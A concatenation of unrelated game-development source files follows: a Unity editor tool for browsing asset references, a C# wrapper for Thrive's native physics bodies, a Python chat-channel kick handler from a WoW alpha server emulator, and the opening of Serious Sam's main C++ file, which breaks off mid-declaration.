//如果是文件夹 if (Directory.Exists(path)) { string[] folder = new string[] { path }; //将文件夹下所有资源作为选择资源 string[] guids = AssetDatabase.FindAssets(searchFilter, folder); foreach (var guid in guids) { if (!selectedAssetGuid.Contains(guid) && !Directory.Exists(AssetDatabase.GUIDToAssetPath(guid))) { selectedAssetGuid.Add(guid); } } } //如果是文件资源 else { string guid = AssetDatabase.AssetPathToGUID(path); selectedAssetGuid.Add(guid); } } // 只查找UIPrefab的嵌套信息 private void UpdateSelectedUIPrefabs() { artInfo = new Dictionary<string, ListInfo>(); selectedAssetGuid.Clear(); UpdateSelectedAsset("Assets/Prefabs/UI", "t:Prefab"); needUpdateAssetTree = true; needUpdateAssetTreeMessage = true; } //更新选中资源列表 private void UpdateSelectedAssets() { artInfo = new Dictionary<string, ListInfo>(); selectedAssetGuid.Clear(); foreach (var obj in Selection.objects) { string path = AssetDatabase.GetAssetPath(obj); UpdateSelectedAsset(path); } needUpdateAssetTree = true; needUpdateAssetTreeMessage = true; } private void UpdateDragAssets() { if (EditorWindow.mouseOverWindow) { var tempObj = DragAreaGetObject.GetOjbects(); if (tempObj != null) { InitDataIfNeeded(); artInfo = new Dictionary<string, ListInfo>(); selectedAssetGuid.Clear(); foreach (var obj in tempObj) { string path = AssetDatabase.GetAssetPath(obj); //如果是文件夹 if (Directory.Exists(path)) { string[] folder = new string[] { path }; //将文件夹下所有资源作为选择资源 string[] guids = AssetDatabase.FindAssets(null, folder); foreach (var guid in guids) { if (!selectedAssetGuid.Contains(guid) && !Directory.Exists(AssetDatabase.GUIDToAssetPath(guid))) { selectedAssetGuid.Add(guid); } } } //如果是文件资源 else { string guid = AssetDatabase.AssetPathToGUID(path); selectedAssetGuid.Add(guid); } } needUpdateAssetTree = true; needUpdateAssetTreeMessage = true; } } } //通过选中资源列表更新TreeView private void UpdateAssetTree() { if (needUpdateAssetTree && selectedAssetGuid.Count != 0) { var root = SelectedAssetGuidToRootItem(selectedAssetGuid); m_AssetTreeView.AssetRoot = root; //m_AssetTreeView.CollapseAll(); //m_AssetTreeView.Reload(); needUpdateAssetTree = false; int totalPrefab = 0; int totalMat = 0; string prefabName = ""; string matName = ""; StringBuilder sb = new StringBuilder(); if (needUpdateAssetTreeMessage && artInfo.Count > 0) { //更新引用数信息 m_AssetTreeView.GetRefCount(); //更新控制台输出信息 foreach (KeyValuePair<string, ListInfo> kv in artInfo) { if (kv.Value.type == "prefab") { totalPrefab += kv.Value.count; prefabName += kv.Value.name + "<--->"; } if (kv.Value.type == "mat") { totalMat += kv.Value.count; matName += kv.Value.name + "<--->"; } string tempInfo = $"name <color=green>[{kv.Key}]</color>, type: <color=orange>[{kv.Value.type}]</color>, count: <color=red>[{kv.Value.count}]</color>"; //"name: " + kv.Key + " type: " + <color=orange>[{Time.frameCount}]</color>kv.Value.type + " count: " + kv.Value.count + "\r\n"; sb.AppendLine(tempInfo); } sb.Insert(0, $"Prefab总数 <color=red>[{totalPrefab}]</color> Prefab详情 <color=green>[{prefabName}]</color> \r\n"); sb.Insert(0, $"Mat总数 <color=red>[{totalMat}]</color> Mat详情 <color=green>[{matName}]</color> \r\n"); Debug.Log(sb.ToString()); } needUpdateAssetTreeMessage = false; } } private void OnGUI() { UpdateDragAssets(); InitGUIStyleIfNeeded(); DrawOptionBar(); UpdateAssetTree(); //绘制Treeview m_AssetTreeView?.OnGUI(new Rect(0, toolbarGUIStyle.fixedHeight, position.width, position.height - toolbarGUIStyle.fixedHeight)); } //绘制上条 public void DrawOptionBar() { EditorGUILayout.BeginHorizontal(toolbarGUIStyle); //刷新数据 if (GUILayout.Button("点击更新本地库", toolbarButtonGUIStyle)) { data.CollectDependenciesInfo(); needUpdateAssetTree = true; EditorGUIUtility.ExitGUI(); } //修改模式 //bool PreIsDepend = m_AssetTreeView.IsDepend; //m_AssetTreeView.IsDepend = GUILayout.Toggle(m_AssetTreeView.IsDepend, m_AssetTreeView.IsDepend ? "依赖模式" : "引用模式", toolbarButtonGUIStyle, GUILayout.Width(100)); /*if (PreIsDepend != m_AssetTreeView.IsDepend) { OnModelSelect(); }*/ GUILayout.FlexibleSpace(); //文档 if (GUILayout.Button("使用说明", toolbarButtonGUIStyle)) { Application.OpenURL(docUrl); } //扩展 if (GUILayout.Button("展开", toolbarButtonGUIStyle)) { if (m_AssetTreeView != null) m_AssetTreeView.ExpandAll(); } //折叠 if (GUILayout.Button("折叠", toolbarButtonGUIStyle)) { if (m_AssetTreeView != null) m_AssetTreeView.CollapseAll(); } EditorGUILayout.EndHorizontal(); } private string GetSelPath() { if (m_AssetTreeView == null) return string.Empty; if (m_AssetTreeView.AssetRoot != null && m_AssetTreeView.AssetRoot.children.Count > 0) { AssetDescription item = m_AssetTreeView.AssetRoot.children[0] as AssetDescription; string path = item.path; string aa = "Assets"; int pos = path.IndexOf(aa); return path.Substring(0, pos + aa.Length + 1); } return string.Empty; } /*private void OnModelSelect() { needUpdateAssetTree = true; // PlayerPrefs.SetInt(isDependPrefKey, m_AssetTreeView.IsDepend ? 1 : 0); m_AssetTreeView = EditorUIUtils.CreateTreeView<AssetTreeView, AssetDescription>(m_AssetTreeView.state); UpdateAssetTree(); }*/ //生成root相关 private HashSet<string> updatedAssetSet = new HashSet<string>(); private HashSet<string> ParentAssetIsAdd = new HashSet<string>(); private HashSet<string> BrotherAssetIsAdd = new HashSet<string>(); //通过选择资源列表生成TreeView的根节点 private AssetDescription SelectedAssetGuidToRootItem(List<string> selectedAssetGuid) { updatedAssetSet.Clear(); ParentAssetIsAdd.Clear(); BrotherAssetIsAdd.Clear(); int elementCount = 0; var root = new AssetDescription { id = elementCount, depth = -1, displayName = "Root" }; int depth = 0; foreach (var childGuid in selectedAssetGuid) { AssetDescription rs = null; rs = CreateTree(childGuid, ref elementCount, depth); root.AddChild(rs); } updatedAssetSet.Clear(); return root; } Dictionary<string, ListInfo> artInfo = new Dictionary<string, ListInfo>(); //记录输出给美术用 //通过每个节点的数据生成子节点 private AssetDescription CreateTree(string guid, ref int elementCount, int _depth) { if (ParentAssetIsAdd.Contains(guid)) { return null; } if (needUpdateState && !updatedAssetSet.Contains(guid)) { data.UpdateAssetState(guid); updatedAssetSet.Add(guid); } ++elementCount; var referenceData = data.assetDict[guid]; var root = new AssetDescription(referenceData) { id = elementCount, displayName = referenceData.name, depth = _depth }; // var childGuids = m_AssetTreeView.IsDepend ? referenceData.dependencies : referenceData.references; var childGuids = referenceData.references; ParentAssetIsAdd.Add(guid); foreach (var childGuid in childGuids) { if (BrotherAssetIsAdd.Contains(childGuid)) { continue; } //Debug.Log(root.displayName + "---->>" + AssetDatabase.GUIDToAssetPath(childGuid)); if (needUpdateAssetTreeMessage == true) { ListInfo listInfo = new ListInfo(); if (AssetDatabase.GUIDToAssetPath(childGuid).EndsWith(".mat") && _depth < 2) { listInfo.type = "mat"; listInfo.count = 1; listInfo.name = System.IO.Path.GetFileName(AssetDatabase.GUIDToAssetPath(childGuid)); if (artInfo.ContainsKey(root.displayName)) { artInfo[root.displayName].count += 1; artInfo[root.displayName].name += "<<==>>" + listInfo.name; } else { artInfo.Add(root.displayName, listInfo); } } if (AssetDatabase.GUIDToAssetPath(childGuid).EndsWith(".prefab") && !AssetDatabase.GUIDToAssetPath(childGuid).Contains("_gen_render") && _depth < 2) { listInfo.type = "prefab"; listInfo.count = 1; listInfo.name = System.IO.Path.GetFileName(AssetDatabase.GUIDToAssetPath(childGuid)); if (artInfo.ContainsKey(root.displayName)) { artInfo[root.displayName].count += 1; artInfo[root.displayName].name += "<<==>>" + listInfo.name; } else { artInfo.Add(root.displayName, listInfo); } } } BrotherAssetIsAdd.Add(childGuid); AssetDescription rs = null; rs = CreateTree(childGuid, ref elementCount, _depth + 1); if (rs != null) { root.AddChild(rs); } } foreach (var childGuid in childGuids) { if (BrotherAssetIsAdd.Contains(childGuid)) { BrotherAssetIsAdd.Remove(childGuid); } } ParentAssetIsAdd.Remove(guid); return root; } } public class ListInfo { public string type; public int count; public string name; } public sealed class DragAreaGetObject { public static UnityEngine.Object[] GetOjbects(string meg = null) { Event aEvent; aEvent = Event.current; GUI.contentColor = Color.white; if (aEvent.type == EventType.DragUpdated || aEvent.type == EventType.DragPerform) { DragAndDrop.visualMode = DragAndDropVisualMode.Copy; bool needReturn = false; if (aEvent.type == EventType.DragPerform) { DragAndDrop.AcceptDrag(); needReturn = true; } Event.current.Use(); if (needReturn) { return DragAndDrop.objectReferences; } } return null; } } public sealed class ClickColumn : MultiColumnHeader { public delegate void SortInColumn(); public static Dictionary<int, SortInColumn> SortWithIndex = new Dictionary<int, SortInColumn>() { { 0, SortByName }, { 1, SortByPath }, { 3, SortByCount } }; public ClickColumn(MultiColumnHeaderState state) : base(state) { canSort = true; } protected override void ColumnHeaderClicked(MultiColumnHeaderState.Column column, int columnIndex) { base.ColumnHeaderClicked(column, columnIndex); if (SortWithIndex.ContainsKey(columnIndex)) { SortWithIndex[columnIndex].Invoke(); ReferenceInfo curWindow = EditorWindow.GetWindow<ReferenceInfo>(); //curWindow.m_AssetTreeView.SortExpandItem(); curWindow.m_AssetTreeView.CollapseAll(); SortHelper.Sort(curWindow.selectedAssetGuid); curWindow.needUpdateAssetTree = true; } } public static void SortByName() { SortHelper.SortByName(); } public static void SortByPath() { SortHelper.SortByPath(); } public static void SortByCount() { SortHelper.SortByCount(); } } public enum SortType { None, AscByName, DescByName, AscByPath, DescByPath, AscByCount, DescByCount } public class SortConfig { public static Dictionary<SortType, SortType> SortTypeChangeByNameHandler = new Dictionary<SortType, SortType>() { { SortType.None, SortType.AscByName }, { SortType.AscByName, SortType.DescByName }, { SortType.DescByName, SortType.AscByName }, }; public static Dictionary<SortType, SortType> SortTypeChangeByPathHandler = new Dictionary<SortType, SortType>() { { SortType.None, SortType.AscByPath }, { SortType.AscByPath, SortType.DescByPath }, { SortType.DescByPath, SortType.AscByPath }, }; public static Dictionary<SortType, SortType> SortTypeChangeByCountHandler = new Dictionary<SortType, SortType>() { { SortType.None, SortType.AscByCount }, { SortType.AscByCount, SortType.DescByCount }, { SortType.DescByCount, SortType.AscByCount }, }; public static Dictionary<SortType, short> SortTypeGroup = new Dictionary<SortType, short>() { { SortType.None, 0 }, { SortType.AscByPath, 1 }, { SortType.DescByPath, 1 }, { SortType.AscByName, 2 }, { SortType.DescByName, 2 }, { SortType.AscByCount, 3 }, { SortType.DescByCount, 3 }, }; public static short TypeByCountGroup = 3; public static short TypeByNameGroup = 2; public static short TypeByPathGroup = 1; } public class SortHelper { public static HashSet<string> sortedGuid = new HashSet<string>(); public static Dictionary<string, SortType> sortedAsset = new Dictionary<string, SortType>(); public static SortType curSortType = SortType.None; public static SortType PathType = SortType.None; public static SortType NameType = SortType.None; public static SortType CountType = SortType.None; public delegate int SortCompare(string lString, string rString); public static Dictionary<SortType, SortCompare> CompareFunction = new Dictionary<SortType, SortCompare>() { { SortType.AscByPath, CompaerWithPath }, { SortType.DescByPath, CompaerWithPathDesc }, { SortType.AscByName, CompaerWithName }, { SortType.DescByName, CompaerWithNameDesc }, { SortType.AscByCount, CompaerWithCount }, { SortType.DescByCount, CompaerWithCountDesc }, }; public static void Init() { sortedGuid.Clear(); sortedAsset.Clear(); } public static void ChangeSortType(short sortGroup, Dictionary<SortType, SortType> handler, ref SortType recoverType) { if (SortConfig.SortTypeGroup[curSortType] == sortGroup) { curSortType = handler[curSortType]; } else { curSortType = recoverType; if (curSortType == SortType.None) { curSortType = handler[curSortType]; } } recoverType = curSortType; } public static void SortByName() { ChangeSortType(SortConfig.TypeByNameGroup, SortConfig.SortTypeChangeByNameHandler, ref NameType); } public static void SortByPath() { ChangeSortType(SortConfig.TypeByPathGroup, SortConfig.SortTypeChangeByPathHandler, ref PathType); } public static void SortByCount() { ChangeSortType(SortConfig.TypeByCountGroup, SortConfig.SortTypeChangeByCountHandler, ref CountType); } public static void SortChild(AssetDescription data) { //Debug.Log(curSortType); if (data == null) { return; } if (sortedAsset.ContainsKey(data.path)) { if (sortedAsset[data.path] == curSortType) { return; } else { SortType oldSortType = sortedAsset[data.path]; if (SortConfig.SortTypeGroup[oldSortType] == SortConfig.SortTypeGroup[curSortType]) { FastSort(data.dependencies); FastSort(data.references); } else { NormalSort(data.dependencies); NormalSort(data.references); } sortedAsset[data.path] = curSortType; } } else { NormalSort(data.dependencies); NormalSort(data.references); sortedAsset.Add(data.path, curSortType); } } public static void Sort(List<string> assetGuid) { if (assetGuid == null) { return; } if (sortedAsset.ContainsKey("rootSort")) { if (sortedAsset["rootSort"] == curSortType) { return; } else { SortType oldSortType = sortedAsset["rootSort"]; if (SortConfig.SortTypeGroup[oldSortType] == SortConfig.SortTypeGroup[curSortType]) { FastSort(assetGuid); } else { NormalSort(assetGuid); } sortedAsset["rootSort"] = curSortType; } } else { NormalSort(assetGuid); sortedAsset.Add("rootSort", curSortType); } } public static void NormalSort(List<string> strList) { SortCompare curCompare = CompareFunction[curSortType]; strList.Sort((l, r) => { return curCompare(l, r); }); } public static void FastSort(List<string> strList) { int i = 0; int j = strList.Count - 1; while (i < j) { string tmp = strList[i]; strList[i] = strList[j]; strList[j] = tmp; i++; j--; } } public static int CompaerWithName(string lString, string rString) { var asset = ReferenceInfo.data.assetDict; return asset[lString].name.CompareTo(asset[rString].name); } public static int CompaerWithNameDesc(string lString, string rString) { return 0 - CompaerWithName(lString, rString); } public static int CompaerWithPath(string lString, string rString) { var asset = ReferenceInfo.data.assetDict; return asset[lString].path.CompareTo(asset[rString].path); } public static int CompaerWithPathDesc(string lString, string rString) { return 0 - CompaerWithPath(lString, rString); } public static int CompaerWithCount(string lString, string rString) { var asset = ReferenceInfo.data.assetDict; return asset[lString].count.CompareTo(asset[rString].count); } public static int CompaerWithCountDesc(string lString, string rString) { return 0 - CompaerWithCount(lString, rString); } } } #endif
0
0.952219
1
0.952219
game-dev
MEDIA
0.699524
game-dev,desktop-app
0.987528
1
0.987528
Revolutionary-Games/Thrive
7,382
src/engine/physics/NativePhysicsBody.cs
using System; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using Arch.Core; using Godot; /// <summary> /// Physics body implemented by the Thrive native code library (this is a wrapper around that native handle) /// </summary> [StructLayout(LayoutKind.Sequential)] public class NativePhysicsBody : IDisposable, IEquatable<NativePhysicsBody> { public static readonly int EntityDataSize = Marshal.SizeOf<Entity>(); /// <summary> /// This is only used by external code, not this class at all, to know which bodies are in use without having to /// allocate extra memory. /// </summary> /// <remarks> /// <para> /// This being the first field makes the memory layout non-optimal, but some of the private fields have been /// juggled around a bit for better layout. /// </para> /// </remarks> public bool Marked = true; // TODO: re-add pooling here? /*private static readonly ArrayPool<PhysicsCollision> CollisionDataBufferPool = ArrayPool<PhysicsCollision>.Create(Constants.MAX_COLLISION_CACHE_BUFFER_RETURN_SIZE, Constants.MAX_COLLISION_CACHE_BUFFERS_OF_SIMILAR_LENGTH);*/ private bool disposed; /// <summary> /// Storage variable for collision recording, when this is active, the pin handle is used to pin down this /// piece of memory to ensure the native code side can directly write here with pointers /// </summary> private PhysicsCollision[]? activeCollisions; private IntPtr nativeInstance; internal NativePhysicsBody(IntPtr nativeInstance) { this.nativeInstance = nativeInstance; if (this.nativeInstance.ToInt64() == 0) { // TODO: should this crash the game? GD.PrintErr( "Physics body can't be created from null native pointer, we probably ran out of physics bodies"); } } ~NativePhysicsBody() { Dispose(false); } /// <summary> /// Active collisions for this body. Only updated if started through /// <see cref="PhysicalWorld.BodyStartCollisionRecording"/>. For entities prefer /// <see cref="Components.CollisionManagementHelpers.GetActiveCollisions"/> /// </summary> public PhysicsCollision[]? ActiveCollisions => activeCollisions; /// <summary> /// C# side tracking for physics bodies with microbe control being enabled /// </summary> public bool MicrobeControlEnabled { get; set; } public bool IsDisposed => disposed; public bool IsDetached => NativeMethods.PhysicsBodyIsDetached(AccessBodyInternal()) != 0; public static bool operator ==(NativePhysicsBody? left, NativePhysicsBody? right) { return Equals(left, right); } public static bool operator !=(NativePhysicsBody? left, NativePhysicsBody? right) { return !Equals(left, right); } /// <summary> /// Stores an entity in this body's user data for use in collision callbacks /// </summary> /// <param name="entity">The entity data to store</param> public void SetEntityReference(in Entity entity) { #if DEBUG if (entity.Id < 0 && entity != Entity.Null) throw new InvalidOperationException("Entity ID to set on physics is invalid (negative and not Null)"); #endif NativeMethods.PhysicsBodySetUserData(AccessBodyInternal(), entity, EntityDataSize); } public bool Equals(NativePhysicsBody? other) { if (other == null) return false; return nativeInstance.ToInt64() != 0 && nativeInstance == other.nativeInstance; } public override bool Equals(object? obj) { if (ReferenceEquals(null, obj)) return false; if (ReferenceEquals(this, obj)) return true; if (obj.GetType() != GetType()) return false; return Equals((NativePhysicsBody)obj); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } public override int GetHashCode() { return nativeInstance.GetHashCode(); } internal (PhysicsCollision[] CollisionsArray, IntPtr ArrayAddress) SetupCollisionRecording(int maxCollisions) { // Can re-use the collision recording array if the max count is still low enough if (activeCollisions == null || activeCollisions.Length < maxCollisions) { // Ensure no previous state. This is safe as each physics body can only be recording one set of collisions // at once, so all of our very briefly dangling pointers will be fixed very soon. NotifyCollisionRecordingStopped(); // TODO: could always round this up to next 1 KiB of memory use as the pinned object heap rounds up the // sizes anyway activeCollisions = GC.AllocateUninitializedArray<PhysicsCollision>(maxCollisions, true); } return (activeCollisions, Marshal.UnsafeAddrOfPinnedArrayElement(activeCollisions, 0)); } internal void NotifyCollisionRecordingStopped() { // ReSharper disable once RedundantCheckBeforeAssignment if (activeCollisions != null) { // TODO: return to pool? // CollisionDataBufferPool.Return(activeCollisions); activeCollisions = null; } } [MethodImpl(MethodImplOptions.AggressiveInlining)] internal IntPtr AccessBodyInternal() { if (disposed) throw new ObjectDisposedException(nameof(NativePhysicsBody)); return nativeInstance; } protected virtual void Dispose(bool disposing) { ReleaseUnmanagedResources(); if (disposing) { disposed = true; } } private void ReleaseUnmanagedResources() { if (nativeInstance.ToInt64() != 0) { ForceStopCollisionRecording(); NativeMethods.ReleasePhysicsBodyReference(nativeInstance); nativeInstance = new IntPtr(0); } } /// <summary> /// Ensures that no pointers are left given to the native side that will become invalid after this object is /// disposed /// </summary> private void ForceStopCollisionRecording() { if (activeCollisions == null) return; GD.PrintErr("Force stopping collision reporting! This should not happen when properly destroying bodies"); NativeMethods.PhysicsBodyForceClearRecordingTargets(nativeInstance); NotifyCollisionRecordingStopped(); } } /// <summary> /// Thrive native library methods related to bodies /// </summary> internal static partial class NativeMethods { [DllImport("thrive_native")] internal static extern void ReleasePhysicsBodyReference(IntPtr body); // TODO: find out why this had to be converted to have return type "byte" instead of bool // BUG: https://github.com/Revolutionary-Games/Thrive/issues/5676 [DllImport("thrive_native")] internal static extern byte PhysicsBodyIsDetached(IntPtr body); [DllImport("thrive_native")] internal static extern void PhysicsBodySetUserData(IntPtr body, in Entity userData, int userDataSize); [DllImport("thrive_native")] internal static extern void PhysicsBodyForceClearRecordingTargets(IntPtr body); }
0
0.859033
1
0.859033
game-dev
MEDIA
0.876443
game-dev
0.822431
1
0.822431
Pierre-Terdiman/PEEL
8,698
PEEL/Physics/PINT_Newton3_13_Stable/PINT_Newton3_13_Stable.h
/////////////////////////////////////////////////////////////////////////////// /* * PEEL - Physics Engine Evaluation Lab * Copyright (C) 2012 Pierre Terdiman * Homepage: http://www.codercorner.com/blog.htm */ /////////////////////////////////////////////////////////////////////////////// #ifndef PINT_NEWTON_H #define PINT_NEWTON_H #include "..\Pint.h" #include "Newton.h" #include <vector> class NewtonPint : public Pint { public: class PinkShapeMaterial { public: enum MaterialCombineModes { m_AVERAGE = 0, //!< Average: (a + b)/2 m_MIN = 1, //!< Minimum: minimum(a,b) m_MULTIPLY = 2, //!< Multiply: a*b }; PinkShapeMaterial () :m_staticFriction (0.5f) ,m_kineticFriction (0.5f) ,m_restitution (0.0f) ,m_frictionCombine(m_AVERAGE) ,m_restitutionCombine(m_AVERAGE) { } float m_staticFriction; float m_kineticFriction; float m_restitution; MaterialCombineModes m_frictionCombine; MaterialCombineModes m_restitutionCombine; }; NewtonPint(); virtual ~NewtonPint(); // Pint virtual const char* GetName() const; virtual void GetCaps(PintCaps& caps) const; virtual void Init(const PINT_WORLD_CREATE& desc); virtual void SetGravity(const Point& gravity); virtual void Close(); virtual udword Update(float dt); virtual Point GetMainColor(); virtual void Render(PintRender& renderer); virtual void SetDisabledGroups(udword nb_groups, const PintDisabledGroups* groups); virtual PintObjectHandle CreateObject(const PINT_OBJECT_CREATE& desc); virtual bool ReleaseObject(PintObjectHandle handle); virtual PintJointHandle CreateJoint(const PINT_JOINT_CREATE& desc); virtual udword BatchRaycasts(PintSQThreadContext context, udword nb, PintRaycastHit* dest, const PintRaycastData* raycasts); virtual udword BatchBoxSweeps(PintSQThreadContext context, udword nb, PintRaycastHit* dest, const PintBoxSweepData* sweeps); virtual udword BatchSphereSweeps(PintSQThreadContext context, udword nb, PintRaycastHit* dest, const PintSphereSweepData* sweeps); virtual udword BatchCapsuleSweeps(PintSQThreadContext context, udword nb, PintRaycastHit* dest, const PintCapsuleSweepData* sweeps); virtual udword BatchSphereOverlapAny(PintSQThreadContext context, udword nb, PintBooleanHit* dest, const PintSphereOverlapData* overlaps); virtual udword BatchSphereOverlapObjects(PintSQThreadContext context, udword nb, PintOverlapObjectHit* dest, const PintSphereOverlapData* overlaps); virtual udword BatchBoxOverlapAny(PintSQThreadContext context, udword nb, PintBooleanHit* dest, const PintBoxOverlapData* overlaps); virtual udword BatchBoxOverlapObjects(PintSQThreadContext context, udword nb, PintOverlapObjectHit* dest, const PintBoxOverlapData* overlaps); virtual PR GetWorldTransform(PintObjectHandle handle); virtual void SetWorldTransform(PintObjectHandle handle, const PR& pose); // virtual void ApplyActionAtPoint(PintObjectHandle handle, PintActionType action_type, const Point& action, const Point& pos); virtual void AddWorldImpulseAtWorldPos(PintObjectHandle handle, const Point& world_impulse, const Point& world_pos); virtual void AddLocalTorque(PintObjectHandle handle, const Point& local_torque); virtual Point GetAngularVelocity(PintObjectHandle handle); virtual void SetAngularVelocity(PintObjectHandle handle, const Point& angular_velocity); virtual float GetMass(PintObjectHandle handle); virtual Point GetLocalInertia(PintObjectHandle handle); virtual udword CreateConvexObject(const PINT_CONVEX_DATA_CREATE& desc); virtual udword BatchConvexSweeps(PintSQThreadContext context, udword nb, PintRaycastHit* dest, const PintConvexSweepData* sweeps); //JULIO // virtual void* BeginCreateObjectHint (); // virtual void EndCreateObjectHint (void* creationHintHandle); // virtual void* CreatePhantom(const AABB& box, void* creationHintHandle); virtual PintObjectHandle CreateObject(const PINT_OBJECT_CREATE& desc, void* creationHintHandle); // virtual void SetLinearAndAngularDamp (PintJointHandle object, float linearDamp, float angularDamp); //~Pint private: void Render(PintRender& renderer, NewtonCollision* const collsion, const IceMaths::Matrix4x4& worldPose) const; NewtonBody *CreateBody(const PINT_OBJECT_CREATE& desc, NewtonCollision* const shape, float mass, const dFloat* const worldPose, const dFloat* const veloc, const dFloat* const omega, bool isKinematic, bool ccdMode); NewtonCollision *CreateShape(const PINT_OBJECT_CREATE& desc) const; NewtonCollision *CreateShape(NewtonWorld* const world, const PINT_SHAPE_CREATE* const shape, const PintShapeRenderer* const renderer, int groupID) const; virtual bool SetKinematicPose(PintObjectHandle handle, const Point& pos); virtual bool SetKinematicPose(PintObjectHandle handle, const PR& pr); static void RayCastKernel (NewtonWorld* const world, void* const context, int threadIndex); static void ConvexRayCastKernel (NewtonWorld* const world, void* const context, int threadIndex); static void BodyOverlapKernel (NewtonWorld* const world, void* const context, int threadIndex); static int BodyOverlapAnyCallback (const NewtonBody* const body, void* const userData); static int BodyOverlapAllCallback (const NewtonBody* const body, void* const userData); static dFloat GenericRayCastCallback (const NewtonBody* const body, const NewtonCollision* const collisionHit, const dFloat* const contact, const dFloat* const normal, dLong collisionID, void* const userData, dFloat intersetParam); static void OnContactsProcess (const NewtonJoint* const contact, dFloat timestep, int threadIndex); static int OnAABBOverlap (const NewtonMaterial* const material, const NewtonBody* const body0, const NewtonBody* const body1, int threadIndex); static void ApplyForceAndTorqueCallback (const NewtonBody* const body, dFloat timestep, int threadIndex); static void DuplicateCollisionShape (const NewtonWorld* const newtonWorld, NewtonCollision* const newCollision, const NewtonCollision* const sourceCollision); static void DestroyCollisionShape (const NewtonWorld* const newtonWorld, const NewtonCollision* const collision); static void OnDestroyBody (const NewtonBody* const body); // virtual void CreateFractureFromConvex (const char* const fileName, const Point* const convexCloud, int convexCloudCount, const Point* const interiorCloud, int interiorCloudCount); void UpdateQueiriesCache (NewtonCollision* lastShapeCache); dFloat mCurrentTimeStep; udword mGroupMasks[32]; NewtonWorld* mWorld; Point mGlobalGravity; PinkShapeMaterial m_defailtMaterial; float mGravityMag; // this is a cache for preventing the creation and destruction of shape on the test // this operation saddle newton with about 2500 ticks, making seen slower of the query. NewtonCollision* m_lastShapeCache; struct BatchRaycastData { int m_hitCount; PintRaycastHit* m_destArray; const PintRaycastData* m_raycasts; } ; BatchRaycastData mBatchRaycastData; struct BatchSweepData { enum ShapeSweepTypes { m_box, m_sphere, m_capsule, m_convex, }; ShapeSweepTypes m_shapeType; int m_hitCount; const void* m_sweeps; PintRaycastHit* m_destArray; NewtonCollision* m_castingShape; }; BatchSweepData mBatchSweepData; struct BatchOverlapData { enum OverlapTypes { m_any, m_all, }; enum ShapeOverlapTypes { m_box, m_sphere, //m_capsule, }; OverlapTypes m_type; ShapeOverlapTypes m_shapeType; int m_hitCount; const void* m_overlaps; const void* m_destArray; NewtonCollision* m_overlapShape; int m_maxBodiesPerQueires; NewtonBody** m_hitBodiesBuffer; }; BatchOverlapData mBatchOverlapData; struct KineData { NewtonBody* mKine; Point mKinematicTarget; }; // std::vector<NewtonBody*> mKinematics; std::vector<KineData> mKinematics; struct KineData2 { NewtonBody* mKine; PR mKinematicTarget; }; std::vector<KineData2> mKinematics2; void UpdateKinematics(dFloat dt); }; IceWindow* Newton_InitGUI(IceWidget* parent, PintGUIHelper& helper); void Newton_CloseGUI(); void Newton_Init(const PINT_WORLD_CREATE& desc); void Newton_Close(); NewtonPint* GetNewton(); extern "C" __declspec(dllexport) PintPlugin* GetPintPlugin(); #endif
0
0.766175
1
0.766175
game-dev
MEDIA
0.547219
game-dev
0.543358
1
0.543358
The-Alpha-Project/alpha-core
1,527
game/world/opcode_handling/handlers/channel/ChannelKickHandler.py
from game.world.WorldSessionStateHandler import WorldSessionStateHandler from game.world.managers.objects.units.player.ChannelManager import ChannelManager from game.world.managers.objects.units.ChatManager import ChatManager from network.packet.PacketReader import * from utils.constants.MiscCodes import ChannelNotifications # Client does not route /kick properly for channels, need to use /script ChannelKick(channel "name" or index, "player") class ChannelKickHandler(object): @staticmethod def handle(world_session, reader): channel_name = PacketReader.read_string(reader.data, 0).strip().capitalize() offset = len(channel_name) + 1 has_player = len(reader.data) == offset + 1 player_name = '' if has_player else PacketReader.read_string(reader.data, offset, 0).strip()[:-1] channel = ChannelManager.get_channel(channel_name, world_session.player_mgr) # Check if channel exists. if not channel: packet = ChannelManager.build_notify_packet(channel_name, ChannelNotifications.NOT_MEMBER) ChannelManager.send_to_player(world_session.player_mgr, packet) return 0 target_player_mgr = WorldSessionStateHandler.find_player_by_name(player_name) if target_player_mgr: ChannelManager.kick_player(channel, world_session.player_mgr, target_player_mgr) else: ChatManager.send_system_message(world_session, f'No player named [{player_name}] is currently playing.') return 0
0
0.806961
1
0.806961
game-dev
MEDIA
0.717002
game-dev
0.862189
1
0.862189
tx00100xt/SeriousSamClassic
67,045
SamTSE/Sources/SeriousSam/SeriousSam.cpp
/* Copyright (c) 2002-2012 Croteam Ltd. This program is free software; you can redistribute it and/or modify it under the terms of version 2 of the GNU General Public License as published by the Free Software Foundation This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include "SeriousSam/StdH.h" #ifdef PLATFORM_WIN32 #include <io.h> #include <process.h> #endif // !!! FIXME: rcg01082002 Do something with these. #ifdef PLATFORM_UNIX #include <Engine/Base/SDL/SDLEvents.h> #if !defined(PLATFORM_MACOSX) && !defined(PLATFORM_FREEBSD) #include <mntent.h> #endif #include <unistd.h> #endif #include <fcntl.h> #include <sys/stat.h> #include <Engine/CurrentVersion.h> #include <GameMP/Game.h> #define DECL_DLL #ifdef FIRST_ENCOUNTER #include <Entities/Global.h> #else #include <EntitiesMP/Global.h> #endif #include "resource.h" #include "SplashScreen.h" #include "MainWindow.h" #include "GLSettings.h" #include "SeriousSam/LevelInfo.h" #include "LCDDrawing.h" #include "CmdLine.h" #include "Credits.h" CGame *_pGame = NULL; extern FLOAT _fMenuPlayerProfileAdjuster; extern FLOAT _fGlobalTopAdjuster; extern FLOAT _fGlobalListAdjuster; extern FLOAT _fGlobalTipAdjuster; extern FLOAT _fGlobalInfoAdjuster; extern FLOAT _fGlobalProfileAdjuster; extern FLOAT _fGlobalOptionsAdjuster; extern FLOAT _fGlobalModAdjuster; extern FLOAT _fGlobalButtonAdjuster; extern FLOAT _fGlobalProfileFOVAdjuster; #ifdef PLATFORM_UNIX ENGINE_API FLOAT _fWeaponFOVAdjuster; ENGINE_API FLOAT _fPlayerFOVAdjuster; ENGINE_API FLOAT _fArmorHeightAdjuster; ENGINE_API FLOAT _fFragScorerHeightAdjuster; #else extern ENGINE_API FLOAT _fPlayerFOVAdjuster; extern ENGINE_API FLOAT _fWeaponFOVAdjuster; extern ENGINE_API FLOAT _fArmorHeightAdjuster; extern ENGINE_API 